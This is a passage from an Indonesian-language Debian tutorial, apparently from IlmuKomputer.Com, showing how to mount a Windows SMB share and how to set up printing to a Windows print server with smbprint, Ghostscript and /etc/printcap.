ingin akses dari komputer tersebut adalah win_c dan anda petakan pada pathlinux yaitu /mnt/.
Perintah yang digunakan adalah:
kari@debian# mount –t smbfs –o username=debianlinux //10.14.200.20/win_c /mnt
kari@debian# cd /mnt
kari@debian# ls
Konfigurasi server printer
Untuk menggunakan printer pada server windows, anda harus membuat file konfigurasi printer
server. Letak file konfigurasi printer server tersebut di direktori $SPOOL_DIR/lpd/ .
Misal printer yang ada pada server adalah canon bj2100sp. Maka pada konsole, gunakan perintah:
kari@debian# cat /var/spool/canon/.config
server = DHE
service = CANON
password=””
Untuk mengirimkan print job ke server windows, gunakan perintah:
pakedo@debian$ smbprint /var/spool/lpd/canon/acct Jika printer anda tidak mendukung format option postScript text, anda dapat menggunakan
Ghostscript (gs) untuk mengkonversi file postScript ke format yang didukung oleh printer tersebut.
Gunakan perintah:
8
Kuliah Umum IlmuKomputer.Com
Copyright © 2004 IlmuKomputer.Com
pakedo@debian:~$ cat myfile.ps gs –q –dSAFER –sDEVICE=bj2100sp –dQuality=1 –dNOPAUSE
\ -sOutputFile=- - smbprint /var/spool/lpd/canon/acct
Kemudian lakukan editing pada file konfigurasi /etc/printcap, tambahkan baris berikut:
# /etc/printcap:printer capability database. See printcap(5)
.
.
.
canoncanon bj-2100sp on dhe:\
:sd=/var/spool/lpd/canon:\
:af=/var/spool/lpd/canon/acct:\
:mx#0:\
:sh:\
:of=/etc/printing/canon.filter:
.
.
.
REFERENSI
Azikin, A., Adi, A.S., Adi, G., 2004. Debian GNU/Linux. Andi Offset Yogyakarta, Indonesia.

Read More......